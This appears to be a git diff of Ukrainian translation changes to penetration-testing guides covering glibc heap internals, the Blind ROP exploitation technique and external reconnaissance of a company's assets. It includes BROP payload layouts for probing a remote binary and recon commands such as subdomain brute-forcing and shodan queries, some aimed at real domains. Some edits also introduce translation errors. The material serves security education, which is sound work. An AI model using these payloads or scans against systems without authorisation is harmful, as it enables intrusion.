Ця структура виділяє відповідну інформацію про купу. Більше того, пам'ять купи може бути не безперервною після більше алокацій, ця структура також зберігатиме цю інформацію.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
```
|
||||
### malloc\_state
|
||||
|
||||
**Кожна купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\
|
||||
**Кожен купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\
|
||||
Важливо зазначити, що **структура `malloc_state` основної арени** є **глобальною змінною в libc** (отже, розташована в пам'яті libc).\
|
||||
У випадку **структур `malloc_state` куп потоків, вони розташовані **всередині власної "купи" потоку**.
|
||||
|
||||
Є кілька цікавих моментів, які варто відзначити з цієї структури (див. код C нижче):
|
||||
|
||||
* `__libc_lock_define (, mutex);` Призначена для забезпечення доступу до цієї структури з купи лише з одного потоку одночасно
|
||||
* `__libc_lock_define (, mutex);` Призначено для забезпечення того, щоб до цієї структури з купи отримував доступ лише 1 потік одночасно
|
||||
* Прапори:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -86,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і незасортованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
|
||||
* Отже, **перший шматок** цих бінів матиме **зворотний вказівник на цю структуру**, а **останній шматок** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
|
||||
* Структури `struct malloc_state *next;` і `struct malloc_state *next_free;` є зв'язаними списками арен
|
||||
* Шматок `top` є останнім "шматком", який в основному є **всією залишковою пам'яттю купи**. Як тільки верхній шматок "порожній", купа повністю використана, і потрібно запитати більше місця.
|
||||
* Шматок `last reminder` виникає в випадках, коли точний шматок не доступний, і тому більший шматок розділяється, а вказівник на залишкову частину розміщується тут.
|
||||
* Шматок `last reminder` виникає в тих випадках, коли точний шматок не доступний, і тому більший шматок розділяється, а вказівник на залишкову частину розміщується тут.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -161,7 +161,7 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
|
||||
Метадані зазвичай 0x08B, що вказує на розмір поточної частини, використовуючи останні 3 біти для вказівки:
|
||||
|
||||
* `A`: Якщо 1, це походить з підкучі, якщо 0 - це в основній арені
|
||||
* `A`: Якщо 1, це походить з підкучі, якщо 0 - в основній арені
|
||||
* `M`: Якщо 1, ця частина є частиною простору, виділеного за допомогою mmap, і не є частиною купи
|
||||
* `P`: Якщо 1, попередня частина використовується
|
||||
|
||||
|
@ -258,9 +258,9 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що для розрахунку загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
|
||||
### Отримати дані шматка та змінити метадані
|
||||
### Отримати дані про шматок і змінити метадані
|
||||
|
||||
Ці функції працюють, отримуючи вказівник на шматок, і корисні для перевірки/встановлення метаданих:
|
||||
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* Insue bit
|
||||
* Інсуюча біт
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
|||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
* Отримайте розмір реальних використовуваних даних всередині блоку
|
||||
* Отримати розмір реальних використовуваних даних всередині блоку
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
@ -468,27 +468,27 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
Відлагоджуючи попередній приклад, можна побачити, як на початку є лише 1 арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
|
||||
Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
і всередині неї можна знайти кілька шматків:
|
||||
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
і всередині неї можна знайти деякі шматки:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
## Контейнери та виділення/звільнення пам'яті
|
||||
|
||||
Перевірте, що таке bins, як вони організовані та як пам'ять виділяється і звільняється в:
|
||||
Перевірте, що таке контейнери, як вони організовані та як пам'ять виділяється і звільняється в:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Heap Functions Security Checks
|
||||
## Перевірки безпеки функцій купи
|
||||
|
||||
Функції, пов'язані з купою, виконуватимуть певні перевірки перед виконанням своїх дій, щоб спробувати переконатися, що купа не була пошкоджена:
|
||||
|
||||
|
@ -496,7 +496,7 @@ return 0;
|
|||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
|
|
@ -41,7 +41,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). І це тому, що якщо ви отримуєте доступ до цього гаджета посеред деяких інструкцій, ви отримуєте гаджети для контролю **`rsi`** та **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Це будуть гаджети:
|
||||
|
||||
|
@ -83,7 +83,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
* strcmp(\<read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<read addr>, \<read addr>) -> немає збою
|
||||
|
||||
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
|
||||
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеці **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Виникне збій
|
||||
|
@ -116,15 +116,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
Однак оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
|
||||
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокета**.
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться в PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокета**.
|
||||
|
||||
Однак ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
|
||||
|
||||
Поведінкові сигнатури для знаходження цих функцій:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено write
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є виведені дані, тоді було знайдено puts
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є виведені дані, тоді було знайдено dprintf
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є виведені дані, тоді було знайдено write
|
||||
|
||||
## Автоматичне експлуатація
|
||||
|
||||
|
|
|
@ -15,37 +15,37 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Assets discoveries
|
||||
## Виявлення активів
|
||||
|
||||
> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
|
||||
Мета цього етапу - отримати всі **компанії, що належать основній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
|
||||
Мета цього етапу - отримати всі **компанії, що належать головній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
|
||||
|
||||
1. Знайти придбання основної компанії, це дасть нам компанії в межах сфери.
|
||||
1. Знайти придбання головної компанії, це дасть нам компанії в межах сфери.
|
||||
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
|
||||
3. Використати зворотні whois запити для пошуку інших записів (назви організацій, домени...) пов'язаних з першим (це можна зробити рекурсивно).
|
||||
4. Використати інші техніки, такі як shodan `org` та `ssl` фільтри для пошуку інших активів (трик `ssl` можна зробити рекурсивно).
|
||||
4. Використати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трик `ssl` можна зробити рекурсивно).
|
||||
|
||||
### **Acquisitions**
|
||||
### **Придбання**
|
||||
|
||||
По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну компанію і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** основної компанії і знайти **придбання**.
|
||||
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та знайти **придбання**.
|
||||
|
||||
> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
|
||||
|
||||
### **ASNs**
|
||||
### **ASN**
|
||||
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням призначених номерів Інтернету (IANA)**.\
|
||||
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
|
||||
|
||||
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** і **шукати домени** в цих IP.\
|
||||
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** та **шукати домени** в цих IP.\
|
||||
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
|
||||
```bash
|
||||
|
@ -96,12 +96,12 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Для цього, адміністратор повинен вручну увімкнути PTR.\
|
||||
Для цього адміністратор повинен вручну увімкнути PTR.\
|
||||
Ви також можете використовувати онлайн-інструмент для цієї інформації: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Зворотний Whois (loop)**
|
||||
|
||||
Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється той же електронний лист).\
|
||||
У **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні адреси**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні запити whois за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та сама електронна адреса).\
|
||||
Ви можете використовувати онлайн-інструменти, такі як:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
|
||||
|
@ -119,8 +119,8 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Трекери**
|
||||
|
||||
Якщо ви знайдете **той же ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Наприклад, якщо ви бачите той же **ID Google Analytics** або той же **ID Adsense** на кількох сторінках.
|
||||
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
|
||||
|
||||
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
|
||||
|
||||
|
@ -132,7 +132,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той же хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
|
||||
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той самий хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -145,7 +145,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
Це спосіб, як ви можете **обчислити хеш фавікону** веб-сайту:
|
||||
Це те, як ви можете **обчислити хеш фавікону** веб-сайту:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі):
|
||||
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі:
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
|
||||
* [**gau**](https://github.com/lc/gau)**:** отримує відомі URL-адреси з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого домену.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -366,11 +366,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Я думаю, що цей інструмент використовує лише 1 резолвер
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Я думаю, що цей інструмент використовує лише 1 резолвер.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою підстановочних знаків та простим підтримкою вводу-виводу.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою диких символів та простим підтримкою вводу-виводу.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -420,11 +420,11 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ — це фуззер для брутфорсу піддоменів, поєднаний з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є брутфорс-фуззером піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще далі в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Робочий процес виявлення піддоменів**
|
||||
### **Процес виявлення піддоменів**
|
||||
|
||||
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **Trickest workflows**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
|
||||
|
||||
|
@ -434,7 +434,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / Віртуальні хости**
|
||||
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**.
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -462,7 +462,7 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли в заголовку _**Origin**_ встановлено дійсний домен/піддомен. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
|
||||
Іноді ви можете знайти сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли в заголовку _**Origin**_ встановлено дійсний домен/піддомен. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -473,14 +473,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
|
||||
### **Моніторинг**
|
||||
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів**, що робить [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Пошук вразливостей**
|
||||
|
||||
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
|
||||
_Зверніть увагу, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
|
||||
|
||||
## IPs
|
||||
|
@ -504,7 +504,7 @@ _Зверніть увагу, що іноді субдомен розміщен
|
|||
|
||||
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP, домени та субдомени в межах обсягу. Час шукати веб-сервери.
|
||||
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі хитрощі для пошуку веб-серверів** в межах обсягу.
|
||||
|
||||
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
|
||||
|
||||
|
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Скриншоти**
|
||||
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до того, щоб бути **вразливими**.
|
||||
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і почнемо просто з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до того, щоб бути **вразливими**.
|
||||
|
||||
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -526,15 +526,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
Щоб знайти потенційні хмарні активи, що належать компанії, вам слід **почати з переліку ключових слів, які ідентифікують цю компанію**. Наприклад, для криптокомпанії ви можете використовувати такі слова: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Вам також знадобляться словники **поширених слів, що використовуються в бакетах**:
|
||||
Вам також знадобляться списки слів з **поширеними словами, що використовуються в бакетах**:
|
||||
